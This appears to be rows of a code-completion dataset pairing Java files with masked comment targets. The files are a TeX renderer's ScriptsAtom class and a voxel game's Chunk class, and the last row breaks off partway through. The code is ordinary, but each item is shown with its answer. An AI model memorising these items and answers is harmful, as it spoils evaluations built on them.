TeXEnvironment subStyle = env.subStyle();
TeXEnvironment supStyle = env.supStyle();
// set delta and preliminary shift-up and shift-down values
double delta = 0.;
double shiftUp;
double shiftDown;
if (trueBase instanceof CharAtom) {
final CharAtom ca = (CharAtom) trueBase;
shiftUp = shiftDown = 0.;
CharFont cf = ca.getCharFont(tf);
if ((!ca.isMarkedAsTextSymbol() || !tf.hasSpace(cf.fontInfo))
&& subscript != null) {
delta = tf.getChar(cf, style).getItalic();
}
} else {
if (trueBase instanceof SymbolAtom && trueBase
.getType() == TeXConstants.TYPE_BIG_OPERATOR) {
if (trueBase.isMathMode()
&& trueBase.mustAddItalicCorrection()) {
delta = trueBase.getItalic(env);
}
}
shiftUp = b.getHeight() - tf.getSupDrop(supStyle.getStyle());
shiftDown = b.getDepth() + tf.getSubDrop(subStyle.getStyle());
}
if (superscript == null) { // only subscript
Box x = subscript.createBox(subStyle);
// calculate and set shift amount
x.setShift(
Math.max(Math.max(shiftDown, tf.getSub1(style)),
x.getHeight() - 4. * Math
.abs(tf.getXHeight(style, lastFontId))
/ 5.));
hor.add(x);
return hor.setAtom(this);
} else {
Box x = superscript.createBox(supStyle);
double msiz = x.getWidth();
if (subscript != null && align == TeXConstants.Align.RIGHT) {
msiz = Math.max(msiz,
subscript.createBox(subStyle).getWidth());
}
HorizontalBox sup = new HorizontalBox(x, msiz, align);
// add scriptspace (constant value!)
sup.add(scriptspace);
// adjust shift-up
double p;
if (style == TeXConstants.STYLE_DISPLAY) {
p = tf.getSup1(style);
} else if (env.crampStyle().getStyle() == style) {
p = tf.getSup3(style);
} else {
p = tf.getSup2(style);
}
shiftUp = Math.max(Math.max(shiftUp, p), x.getDepth()
+ Math.abs(tf.getXHeight(style, lastFontId)) / 4.);
if (subscript == null) { // only superscript
sup.setShift(-shiftUp);
hor.add(sup);
} else { // both superscript and subscript
Box y = subscript.createBox(subStyle);
HorizontalBox sub = new HorizontalBox(y, msiz, align);
// add scriptspace (constant value!)
sub.add(scriptspace);
// adjust shift-down
shiftDown = Math.max(shiftDown, tf.getSub2(style));
// position both sub- and superscript
double drt = tf.getDefaultRuleThickness(style);
// space between sub- en
double interSpace = shiftUp - x.getDepth() + shiftDown
- y.getHeight();
// superscript
if (interSpace < 4. * drt) { // too small
shiftUp += 4. * drt - interSpace;
// set bottom superscript at least 4/5 of X-height
// above
// baseline
double psi = 4.
* Math.abs(tf.getXHeight(style, lastFontId))
/ 5. - (shiftUp - x.getDepth());
if (psi > 0.) {
shiftUp += psi;
shiftDown -= psi;
}
}
// create total box
VerticalBox vBox = new VerticalBox();
sup.setShift(delta);
vBox.add(sup);
// recalculate interspace
interSpace = shiftUp - x.getDepth() + shiftDown
- y.getHeight();
vBox.add(new StrutBox(0., interSpace, 0., 0.));
vBox.add(sub);
vBox.setHeight(shiftUp + x.getHeight());
vBox.setDepth(shiftDown + y.getDepth());
hor.add(vBox);
}
return hor.setAtom(this);
}
}
}
private Box createBoxForRowAtom(TeXEnvironment env) {
final Atom trueBase = base.getBase();
final RowAtom ra = (RowAtom) trueBase;
final Atom last = ra.last();
final Box b = new ScriptsAtom(last, subscript, superscript, align)
.createBox(env);
final HorizontalBox hb = new HorizontalBox(base.createBox(env));
if (subscript != null) {
final double italic = last.getItalic(env);
hb.add(new StrutBox(-italic, 0., 0., 0.));
}
final ArrayList<Box> c = ((HorizontalBox) b).getChildren();
for (int i = 1; i < c.size(); ++i) {
hb.add(c.get(i));
}
return hb;
}
@Override
public int getLeftType() {
return base.getLeftType();
}
@Override
public int getRightType() {
return base.getRightType();
}
@Override
public int getLimits() {
return base.getLimits();
}
}
| mstfelg/geosquared | retex/renderer-base/src/main/java/com/himamis/retex/renderer/share/ScriptsAtom.java | 3,193 | // space between sub- en | line_comment | nl | /* ScriptsAtom.java
* =========================================================================
* This file is originally part of the JMathTeX Library - http://jmathtex.sourceforge.net
*
* Copyright (C) 2004-2007 Universiteit Gent
* Copyright (C) 2009 DENIZET Calixte
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or (at
* your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* A copy of the GNU General Public License can be found in the file
* LICENSE.txt provided with the source distribution of this program (see
* the META-INF directory in the source jar). This license can also be
* found on the GNU website at http://www.gnu.org/licenses/gpl.html.
*
* If you did not receive a copy of the GNU General Public License along
* with this program, contact the lead developer, or write to the Free
* Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
* 02110-1301, USA.
*
* Linking this library statically or dynamically with other modules
* is making a combined work based on this library. Thus, the terms
* and conditions of the GNU General Public License cover the whole
* combination.
*
* As a special exception, the copyright holders of this library give you
* permission to link this library with independent modules to produce
* an executable, regardless of the license terms of these independent
* modules, and to copy and distribute the resulting executable under terms
* of your choice, provided that you also meet, for each linked independent
* module, the terms and conditions of the license of that module.
* An independent module is a module which is not derived from or based
* on this library. If you modify this library, you may extend this exception
* to your version of the library, but you are not obliged to do so.
* If you do not wish to do so, delete this exception statement from your
* version.
*
*/
/* Modified by Calixte Denizet */
package com.himamis.retex.renderer.share;
import java.util.ArrayList;
import com.himamis.retex.renderer.share.mhchem.CEEmptyAtom;
import com.himamis.retex.renderer.share.serialize.HasTrueBase;
/**
* An atom representing scripts to be attached to another atom.
*/
public class ScriptsAtom extends Atom implements HasTrueBase {
// base atom
private Atom base;
// subscript and superscript to be attached to the base (if not null)
private Atom subscript;
private Atom superscript;
private TeXConstants.Align align;
public ScriptsAtom(Atom base, Atom sub, Atom sup,
TeXConstants.Align align) {
this.base = base;
subscript = sub;
superscript = sup;
this.align = align;
}
public ScriptsAtom(Atom base, Atom sub, Atom sup, boolean left) {
this(base, sub, sup,
left ? TeXConstants.Align.LEFT : TeXConstants.Align.RIGHT);
}
public ScriptsAtom(Atom base, Atom sub, Atom sup) {
this(base, sub, sup, !(base instanceof CEEmptyAtom));
}
@Override
public Atom getTrueBase() {
return base;
}
public void setBase(Atom base) {
this.base = base;
}
public void setSup(Atom sup) {
superscript = sup;
}
public void setSub(Atom sub) {
subscript = sub;
}
public void addToSup(Atom a) {
if (superscript == null) {
superscript = a;
} else if (superscript instanceof RowAtom) {
((RowAtom) superscript).add(a);
} else {
superscript = new RowAtom(superscript, a);
}
}
public void addToSub(Atom a) {
if (subscript == null) {
subscript = a;
} else if (subscript instanceof RowAtom) {
((RowAtom) subscript).add(a);
} else {
subscript = new RowAtom(subscript, a);
}
}
public Atom getSup() {
return superscript;
}
public Atom getSub() {
return subscript;
}
@Override
public Box createBox(TeXEnvironment env) {
if (subscript == null && superscript == null) {
return base.createBox(env);
} else {
final Atom trueBase = base.getBase();
if (trueBase instanceof RowAtom
&& ((RowAtom) trueBase).lookAtLast()) {
return createBoxForRowAtom(env);
}
int style = env.getStyle();
if (base.type_limits == TeXConstants.SCRIPT_LIMITS
|| (base.type_limits == TeXConstants.SCRIPT_NORMAL
&& style == TeXConstants.STYLE_DISPLAY)) {
return new BigOperatorAtom(base, subscript, superscript)
.createBox(env).setAtom(this);
}
final boolean it = base.setAddItalicCorrection(subscript == null);
Box b = base.createBox(env);
base.setAddItalicCorrection(it);
Box scriptspace = new StrutBox(
env.lengthSettings().getLength("scriptspace", env), 0., 0., 0.);
TeXFont tf = env.getTeXFont();
HorizontalBox hor = new HorizontalBox(b);
FontInfo lastFontId = b.getLastFont();
// if no last font found (whitespace box), use default "mu font"
if (lastFontId == null) {
lastFontId = TeXFont.MUFONT;
}
TeXEnvironment subStyle = env.subStyle();
TeXEnvironment supStyle = env.supStyle();
// set delta and preliminary shift-up and shift-down values
double delta = 0.;
double shiftUp;
double shiftDown;
if (trueBase instanceof CharAtom) {
final CharAtom ca = (CharAtom) trueBase;
shiftUp = shiftDown = 0.;
CharFont cf = ca.getCharFont(tf);
if ((!ca.isMarkedAsTextSymbol() || !tf.hasSpace(cf.fontInfo))
&& subscript != null) {
delta = tf.getChar(cf, style).getItalic();
}
} else {
if (trueBase instanceof SymbolAtom && trueBase
.getType() == TeXConstants.TYPE_BIG_OPERATOR) {
if (trueBase.isMathMode()
&& trueBase.mustAddItalicCorrection()) {
delta = trueBase.getItalic(env);
}
}
shiftUp = b.getHeight() - tf.getSupDrop(supStyle.getStyle());
shiftDown = b.getDepth() + tf.getSubDrop(subStyle.getStyle());
}
if (superscript == null) { // only subscript
Box x = subscript.createBox(subStyle);
// calculate and set shift amount
x.setShift(
Math.max(Math.max(shiftDown, tf.getSub1(style)),
x.getHeight() - 4. * Math
.abs(tf.getXHeight(style, lastFontId))
/ 5.));
hor.add(x);
return hor.setAtom(this);
} else {
Box x = superscript.createBox(supStyle);
double msiz = x.getWidth();
if (subscript != null && align == TeXConstants.Align.RIGHT) {
msiz = Math.max(msiz,
subscript.createBox(subStyle).getWidth());
}
HorizontalBox sup = new HorizontalBox(x, msiz, align);
// add scriptspace (constant value!)
sup.add(scriptspace);
// adjust shift-up
double p;
if (style == TeXConstants.STYLE_DISPLAY) {
p = tf.getSup1(style);
} else if (env.crampStyle().getStyle() == style) {
p = tf.getSup3(style);
} else {
p = tf.getSup2(style);
}
shiftUp = Math.max(Math.max(shiftUp, p), x.getDepth()
+ Math.abs(tf.getXHeight(style, lastFontId)) / 4.);
if (subscript == null) { // only superscript
sup.setShift(-shiftUp);
hor.add(sup);
} else { // both superscript and subscript
Box y = subscript.createBox(subStyle);
HorizontalBox sub = new HorizontalBox(y, msiz, align);
// add scriptspace (constant value!)
sub.add(scriptspace);
// adjust shift-down
shiftDown = Math.max(shiftDown, tf.getSub2(style));
// position both sub- and superscript
double drt = tf.getDefaultRuleThickness(style);
// space between<SUF>
double interSpace = shiftUp - x.getDepth() + shiftDown
- y.getHeight();
// superscript
if (interSpace < 4. * drt) { // too small
shiftUp += 4. * drt - interSpace;
// set bottom superscript at least 4/5 of X-height
// above
// baseline
double psi = 4.
* Math.abs(tf.getXHeight(style, lastFontId))
/ 5. - (shiftUp - x.getDepth());
if (psi > 0.) {
shiftUp += psi;
shiftDown -= psi;
}
}
// create total box
VerticalBox vBox = new VerticalBox();
sup.setShift(delta);
vBox.add(sup);
// recalculate interspace
interSpace = shiftUp - x.getDepth() + shiftDown
- y.getHeight();
vBox.add(new StrutBox(0., interSpace, 0., 0.));
vBox.add(sub);
vBox.setHeight(shiftUp + x.getHeight());
vBox.setDepth(shiftDown + y.getDepth());
hor.add(vBox);
}
return hor.setAtom(this);
}
}
}
private Box createBoxForRowAtom(TeXEnvironment env) {
final Atom trueBase = base.getBase();
final RowAtom ra = (RowAtom) trueBase;
final Atom last = ra.last();
final Box b = new ScriptsAtom(last, subscript, superscript, align)
.createBox(env);
final HorizontalBox hb = new HorizontalBox(base.createBox(env));
if (subscript != null) {
final double italic = last.getItalic(env);
hb.add(new StrutBox(-italic, 0., 0., 0.));
}
final ArrayList<Box> c = ((HorizontalBox) b).getChildren();
for (int i = 1; i < c.size(); ++i) {
hb.add(c.get(i));
}
return hb;
}
@Override
public int getLeftType() {
return base.getLeftType();
}
@Override
public int getRightType() {
return base.getRightType();
}
@Override
public int getLimits() {
return base.getLimits();
}
}
|
167363_6 | package sx.lambda.voxel.world.chunk;
import com.badlogic.gdx.graphics.GL20;
import com.badlogic.gdx.graphics.Mesh;
import com.badlogic.gdx.graphics.g3d.*;
import com.badlogic.gdx.graphics.g3d.attributes.BlendingAttribute;
import com.badlogic.gdx.graphics.g3d.attributes.FloatAttribute;
import com.badlogic.gdx.graphics.g3d.attributes.TextureAttribute;
import com.badlogic.gdx.graphics.g3d.model.Node;
import com.badlogic.gdx.graphics.g3d.model.NodePart;
import com.badlogic.gdx.graphics.g3d.utils.MeshBuilder;
import com.badlogic.gdx.graphics.g3d.utils.ModelBuilder;
import com.badlogic.gdx.math.MathUtils;
import sx.lambda.voxel.RadixClient;
import sx.lambda.voxel.api.RadixAPI;
import sx.lambda.voxel.api.events.render.EventChunkRender;
import sx.lambda.voxel.block.Block;
import sx.lambda.voxel.block.NormalBlockRenderer;
import sx.lambda.voxel.block.Side;
import sx.lambda.voxel.client.render.meshing.GreedyMesher;
import sx.lambda.voxel.util.Vec3i;
import sx.lambda.voxel.world.IWorld;
import sx.lambda.voxel.world.biome.Biome;
import sx.lambda.voxel.world.chunk.BlockStorage.CoordinatesOutOfBoundsException;
import java.util.List;
public class Chunk implements IChunk {
private static final int MAX_LIGHT_LEVEL = 15;
private final transient GreedyMesher mesher;
private final int size;
private final int height;
/**
* Block storage, in pieces 16 high
*
* Done this way so that piece full of air don't take up more memory than they have to
*/
private final FlatBlockStorage[] blockStorage;
/**
* Map of light levels (ints 0-15) to brightness multipliers
*/
private final float[] lightLevelMap = new float[MAX_LIGHT_LEVEL+1];
private final transient IWorld parentWorld;
private final Biome biome;
private transient MeshBuilder meshBuilder;
private transient ModelBuilder modelBuilder;
private transient Model opaqueModel, translucentModel;
private transient ModelInstance opaqueModelInstance, translucentModelInstance;
private final Vec3i startPosition;
private int highestPoint;
private transient boolean sunlightChanging;
private transient boolean sunlightChanged;
private boolean setup;
private boolean cleanedUp;
private boolean lighted;
private List<GreedyMesher.Face> translucentFaces;
private List<GreedyMesher.Face> opaqueFaces;
private boolean meshing, meshed, meshWhenDone;
public Chunk(IWorld world, Vec3i startPosition, Biome biome, boolean local) {
this.parentWorld = world;
this.startPosition = startPosition;
this.biome = biome;
this.size = world.getChunkSize();
this.height = world.getHeight();
this.blockStorage = new FlatBlockStorage[MathUtils.ceilPositive((float)this.height/16)];
for (int i = 0; i <= MAX_LIGHT_LEVEL; i++) {
int reduction = MAX_LIGHT_LEVEL - i;
lightLevelMap[i] = (float) Math.pow(0.8, reduction);
}
if (RadixClient.getInstance() != null) {// We're a client
mesher = new GreedyMesher(this, RadixClient.getInstance().getSettingsManager().getVisualSettings().getPerCornerLight().getValue());
} else {
mesher = null;
}
if(local)
highestPoint = world.getChunkGen().generate(startPosition, this);
}
@Override
public void rerender() {
if (cleanedUp)
return;
boolean neighborSunlightChanging = false;
for(int x = startPosition.x - 16; x <= startPosition.x + 16; x += 16) {
for(int z = startPosition.z - 16; z <= startPosition.z + 16; z += 16) {
IChunk c = getWorld().getChunk(x, z);
if(c != null && c.waitingOnLightFinish()) {
neighborSunlightChanging = true;
}
}
}
if(neighborSunlightChanging)
return;
if (!setup) {
meshBuilder = new MeshBuilder();
modelBuilder = new ModelBuilder();
setup = true;
}
sunlightChanged = false;
if(meshing) {
meshWhenDone = true;
} else {
meshing = true;
parentWorld.addToMeshQueue(this::updateFaces);
}
}
@Override
public void render(ModelBatch batch) {
if (cleanedUp) return;
if(!meshing && meshed) {
getWorld().addToChunkUploadQueue(this::updateModelInstances);
meshed = false;
}
if (sunlightChanged && !sunlightChanging || (!meshing && !meshed && meshWhenDone)) {
meshWhenDone = false;
rerender();
}
if(opaqueModelInstance != null) {
batch.render(opaqueModelInstance);
}
}
@Override
public void renderTranslucent(ModelBatch batch) {
if(translucentModelInstance != null) {
batch.render(translucentModelInstance);
}
}
@Override
public void eachBlock(EachBlockCallee callee) {
for (int y = 0; y < height; y++) {
for (int z = 0; z < size; z++) {
BlockStorage storage = blockStorage[y / 16];
for (int x = 0; x < size; x++) {
try {
Block blk = storage.getBlock(x, y & 0xF, z);
callee.call(blk, x, y, z);
} catch (CoordinatesOutOfBoundsException ex) {
ex.printStackTrace();
}
}
}
}
}
private void addNeighborsToLightQueues(int x, int y, int z) {// X Y and Z are relative coords, not world coords
assert x >= 0 && x < size && z >= 0 && z < size && y >= 0 && y < height;
int cx = x;
int cz = z;
x += startPosition.x;
z += startPosition.z;
Side[] sides = Side.values();
for(Side s : sides) {
int sx = x; // Side x coord
int sy = y; // Side y coord
int sz = z; // Side z coord
int scx = cx; // Chunk-relative side x coord
int scz = cz; // Chunk-relative side z coord
IChunk sChunk = this;
// Offset values based on side
switch(s) {
case TOP:
sy += 1;
break;
case BOTTOM:
sy -= 1;
break;
case WEST:
sx -= 1;
scx -= 1;
break;
case EAST:
sx += 1;
scx += 1;
break;
case NORTH:
sz += 1;
scz += 1;
break;
case SOUTH:
sz -= 1;
scz -= 1;
break;
}
if(sy < 0)
continue;
if(sy > height-1)
continue;
// Select the correct chunk
if(scz < 0) {
scz += size;
sChunk = parentWorld.getChunk(sx, sz);
} else if(scz > size-1) {
scz -= size;
sChunk = parentWorld.getChunk(sx, sz);
}
if(scx < 0) {
scx += size;
sChunk = parentWorld.getChunk(sx, sz);
} else if(scx > size-1) {
scx -= size;
sChunk = parentWorld.getChunk(sx, sz);
}
if(sChunk == null)
continue;
try {
int sSunlight = sChunk.getSunlight(scx, sy, scz);
int sBlocklight = sChunk.getBlocklight(scx, sy, scz);
if (sSunlight > 0 || sBlocklight > 0) {
Block sBlock = sChunk.getBlock(scx, sy, scz);
if (sBlock == null || sBlock.doesLightPassThrough() || !sBlock.decreasesLight()) {
if (sSunlight > 0)
parentWorld.addToSunlightQueue(sx, sy, sz);
if (sBlocklight > 0)
parentWorld.addToBlocklightQueue(sx, sy, sz);
}
}
} catch (CoordinatesOutOfBoundsException ex) {
ex.printStackTrace();
}
}
}
@Override
//TODO remove entirely in favor of setBlock(0 ?
public void removeBlock(int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF; // storage relative y
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
return;
storage.setBlock(x, sy, z, null);
storage.setId(x, sy, z, 0);
storage.setMeta(x, sy, z, 0);
storage.setSunlight(x, sy, z, 0);
storage.setBlocklight(x, sy, z, 0);
// TODO XXX LIGHTING add to block light removal queue
if(x == size - 1) {
getWorld().rerenderChunk(getWorld().getChunk(getStartPosition().x + size, getStartPosition().z));
} else if(x == 0) {
getWorld().rerenderChunk(getWorld().getChunk(getStartPosition().x - size, getStartPosition().z));
}
if(z == size - 1) {
getWorld().rerenderChunk(getWorld().getChunk(getStartPosition().x, getStartPosition().z + size));
} else if(z == 0) {
getWorld().rerenderChunk(getWorld().getChunk(getStartPosition().x, getStartPosition().z - size));
}
getWorld().rerenderChunk(this);
this.addNeighborsToLightQueues(x, y, z);
}
@Override
public void setBlock(int block, int x, int y, int z) throws CoordinatesOutOfBoundsException {
setBlock(block, x, y, z, true);
}
@Override
public void setBlock(int block, int x, int y, int z, boolean updateSunlight) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
if(block == 0) {
removeBlock(x, y, z);
return;
}
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
storage = blockStorage[storageIndex] = new FlatBlockStorage(size, 16, size);
int oldBlock = storage.getId(x, sy, z);
Block blk = RadixAPI.instance.getBlock(block);
int newBlocklightVal = blk.getLightValue();
storage.setBlocklight(x, sy, z, newBlocklightVal);
if(oldBlock > 0) {
Block oldBlk = RadixAPI.instance.getBlock(oldBlock);
int oldBlocklightVal = oldBlk.getLightValue();
if(newBlocklightVal > oldBlocklightVal) {
parentWorld.addToBlocklightQueue(startPosition.x + x, startPosition.y + y, startPosition.z + z);
} else if(oldBlocklightVal > newBlocklightVal) {
// TODO XXX LIGTHTING add to blocklight removal queue
}
} else {
if(newBlocklightVal > 0) {
parentWorld.addToBlocklightQueue(startPosition.x + x, startPosition.y + y, startPosition.z + z);
}
}
storage.setId(x, sy, z, block);
storage.setBlock(x, sy, z, blk);
highestPoint = Math.max(highestPoint, y);
if(updateSunlight)
getWorld().addToSunlightRemovalQueue(x + startPosition.x, y + startPosition.y, z + startPosition.z);
}
@Override
public void setMeta(short meta, int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
storage = blockStorage[storageIndex] = new FlatBlockStorage(size, 16, size);
storage.setMeta(x, sy, z, meta);
}
@Override
public short getMeta(int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
return 0;
return storage.getMeta(x, sy, z);
}
@Override
public float getLightLevel(int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
return 0;
int sunlight = storage.getSunlight(x, sy, z);
int blocklight = storage.getBlocklight(x, sy, z);
return lightLevelMap[MathUtils.clamp(sunlight+blocklight, 0, MAX_LIGHT_LEVEL)];
}
@Override
public Vec3i getStartPosition() {
return this.startPosition;
}
@Override
public int getHighestPoint() {
return highestPoint;
}
private void updateModelInstances() {
if(opaqueFaces != null) {
if(opaqueModel != null)
opaqueModel.dispose();
Mesh opaqueMesh = mesher.meshFaces(opaqueFaces, meshBuilder);
modelBuilder.begin();
modelBuilder.part(String.format("c-%d,%d", startPosition.x, startPosition.z), opaqueMesh, GL20.GL_TRIANGLES,
new Material(TextureAttribute.createDiffuse(NormalBlockRenderer.getBlockMap())));
opaqueModel = modelBuilder.end();
opaqueModelInstance = new ModelInstance(opaqueModel) {
@Override
public Renderable getRenderable(final Renderable out, final Node node,
final NodePart nodePart) {
super.getRenderable(out, node, nodePart);
if(RadixClient.getInstance().isWireframe()) {
out.primitiveType = GL20.GL_LINES;
} else {
out.primitiveType = GL20.GL_TRIANGLES;
}
return out;
}
};
opaqueFaces = null;
}
if(translucentFaces != null) {
if(translucentModel != null)
translucentModel.dispose();
Mesh translucentMesh = mesher.meshFaces(translucentFaces, meshBuilder);
modelBuilder.begin();
modelBuilder.part(String.format("c-%d,%d-t", startPosition.x, startPosition.z), translucentMesh, GL20.GL_TRIANGLES,
new Material(TextureAttribute.createDiffuse(NormalBlockRenderer.getBlockMap()),
new BlendingAttribute(),
FloatAttribute.createAlphaTest(0.25f)));
translucentModel = modelBuilder.end();
translucentModelInstance = new ModelInstance(translucentModel) {
@Override
public Renderable getRenderable(final Renderable out, final Node node,
final NodePart nodePart) {
super.getRenderable(out, node, nodePart);
if(RadixClient.getInstance().isWireframe()) {
out.primitiveType = GL20.GL_LINES;
} else {
out.primitiveType = GL20.GL_TRIANGLES;
}
return out;
}
};
translucentFaces = null;
}
}
private void updateFaces() {
opaqueFaces = mesher.getFaces(block -> !block.isTranslucent());
translucentFaces = mesher.getFaces(Block::isTranslucent);
meshing = false;
meshed = true;
RadixAPI.instance.getEventManager().push(new EventChunkRender(Chunk.this));
}
@Override
public void dispose() {
if(opaqueModel != null)
opaqueModel.dispose();
if(translucentModel != null)
translucentModel.dispose();
cleanedUp = true;
}
@Override
public void setSunlight(int x, int y, int z, int level) throws CoordinatesOutOfBoundsException {
assert level >= 0 && level <= MAX_LIGHT_LEVEL;
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null) {
if(level < MAX_LIGHT_LEVEL) {
storage = blockStorage[storageIndex] = new FlatBlockStorage(size, 16, size);
} else {
return;
}
}
storage.setSunlight(x, sy, z, level);
sunlightChanging = true;
sunlightChanged = true;
}
@Override
public int getSunlight(int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
return MAX_LIGHT_LEVEL;
return storage.getSunlight(x, sy, z);
}
@Override
public void setBlocklight(int x, int y, int z, int level) throws CoordinatesOutOfBoundsException {
assert level >= 0 && level <= MAX_LIGHT_LEVEL;
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null) {
if(level < MAX_LIGHT_LEVEL) {
storage = blockStorage[storageIndex] = new FlatBlockStorage(size, 16, size);
} else {
return;
}
}
storage.setBlocklight(x, sy, z, level);
}
@Override
public int getBlocklight(int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
return MAX_LIGHT_LEVEL;
return storage.getBlocklight(x, sy, z);
}
@Override
public int getBlockId(int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
return 0;
return storage.getId(x, sy, z);
}
@Override
public Block getBlock(int x, int y, int z) throws CoordinatesOutOfBoundsException {
if(x < 0 || x >= size || z < 0 || z >= size || y < 0 || y >= height)
throw new CoordinatesOutOfBoundsException();
int storageIndex = y / 16;
int sy = y & 0xF;
BlockStorage storage = blockStorage[storageIndex];
if(storage == null)
return null;
return storage.getBlock(x, sy, z);
}
@Override
public void finishChangingSunlight() {
sunlightChanging = false;
}
@Override
public boolean waitingOnLightFinish() {
return sunlightChanging;
}
@Override
public boolean hasInitialSun() {
return lighted;
}
@Override
public void finishAddingSun() {
this.lighted = true;
}
@Override
public Biome getBiome() {
return this.biome;
}
@Override
public IWorld getWorld() {
return this.parentWorld;
}
@Override
public int getMaxLightLevel() {
return MAX_LIGHT_LEVEL;
}
@Override
public float getBrightness(int lightLevel) {
if(lightLevel > getMaxLightLevel())
return 1;
if(lightLevel < 0)
return 0;
return lightLevelMap[lightLevel];
}
@Override
public int hashCode() {
int hash = 7;
hash = 71 * hash + this.startPosition.x;
hash = 71 * hash + this.startPosition.z;
return hash;
}
public void setHighestPoint(int y) {
this.highestPoint = y;
}
/**
* Get the underlying block storage.
*
* Don't use this to set data unless you know what you're doing (ex. loading a chunk initially)
*/
public FlatBlockStorage[] getBlockStorage() {
return blockStorage;
}
}
| mstojcevich/Radix | core/src/sx/lambda/voxel/world/chunk/Chunk.java | 6,312 | // Side z coord | line_comment | nl | package sx.lambda.voxel.world.chunk;
import com.badlogic.gdx.graphics.GL20;
import com.badlogic.gdx.graphics.Mesh;
import com.badlogic.gdx.graphics.g3d.*;
import com.badlogic.gdx.graphics.g3d.attributes.BlendingAttribute;
import com.badlogic.gdx.graphics.g3d.attributes.FloatAttribute;
import com.badlogic.gdx.graphics.g3d.attributes.TextureAttribute;
import com.badlogic.gdx.graphics.g3d.model.Node;
import com.badlogic.gdx.graphics.g3d.model.NodePart;
import com.badlogic.gdx.graphics.g3d.utils.MeshBuilder;
import com.badlogic.gdx.graphics.g3d.utils.ModelBuilder;
import com.badlogic.gdx.math.MathUtils;
import sx.lambda.voxel.RadixClient;
import sx.lambda.voxel.api.RadixAPI;
import sx.lambda.voxel.api.events.render.EventChunkRender;
import sx.lambda.voxel.block.Block;
import sx.lambda.voxel.block.NormalBlockRenderer;
import sx.lambda.voxel.block.Side;
import sx.lambda.voxel.client.render.meshing.GreedyMesher;
import sx.lambda.voxel.util.Vec3i;
import sx.lambda.voxel.world.IWorld;
import sx.lambda.voxel.world.biome.Biome;
import sx.lambda.voxel.world.chunk.BlockStorage.CoordinatesOutOfBoundsException;
import java.util.List;
public class Chunk implements IChunk {
private static final int MAX_LIGHT_LEVEL = 15;
private final transient GreedyMesher mesher;
private final int size;
private final int height;
/**
* Block storage, in pieces 16 high
*
* Done this way so that piece full of air don't take up more memory than they have to
*/
private final FlatBlockStorage[] blockStorage;
/**
* Map of light levels (ints 0-15) to brightness multipliers
*/
private final float[] lightLevelMap = new float[MAX_LIGHT_LEVEL+1];
private final transient IWorld parentWorld;
private final Biome biome;
private transient MeshBuilder meshBuilder;
private transient ModelBuilder modelBuilder;
private transient Model opaqueModel, translucentModel;
private transient ModelInstance opaqueModelInstance, translucentModelInstance;
private final Vec3i startPosition;
private int highestPoint;
private transient boolean sunlightChanging;
private transient boolean sunlightChanged;
private boolean setup;
private boolean cleanedUp;
private boolean lighted;
private List<GreedyMesher.Face> translucentFaces;
private List<GreedyMesher.Face> opaqueFaces;
private boolean meshing, meshed, meshWhenDone;
public Chunk(IWorld world, Vec3i startPosition, Biome biome, boolean local) {
this.parentWorld = world;
this.startPosition = startPosition;
this.biome = biome;
this.size = world.getChunkSize();
this.height = world.getHeight();
this.blockStorage = new FlatBlockStorage[MathUtils.ceilPositive((float)this.height/16)];
for (int i = 0; i <= MAX_LIGHT_LEVEL; i++) {
int reduction = MAX_LIGHT_LEVEL - i;
lightLevelMap[i] = (float) Math.pow(0.8, reduction);
}
if (RadixClient.getInstance() != null) {// We're a client
mesher = new GreedyMesher(this, RadixClient.getInstance().getSettingsManager().getVisualSettings().getPerCornerLight().getValue());
} else {
mesher = null;
}
if(local)
highestPoint = world.getChunkGen().generate(startPosition, this);
}
@Override
public void rerender() {
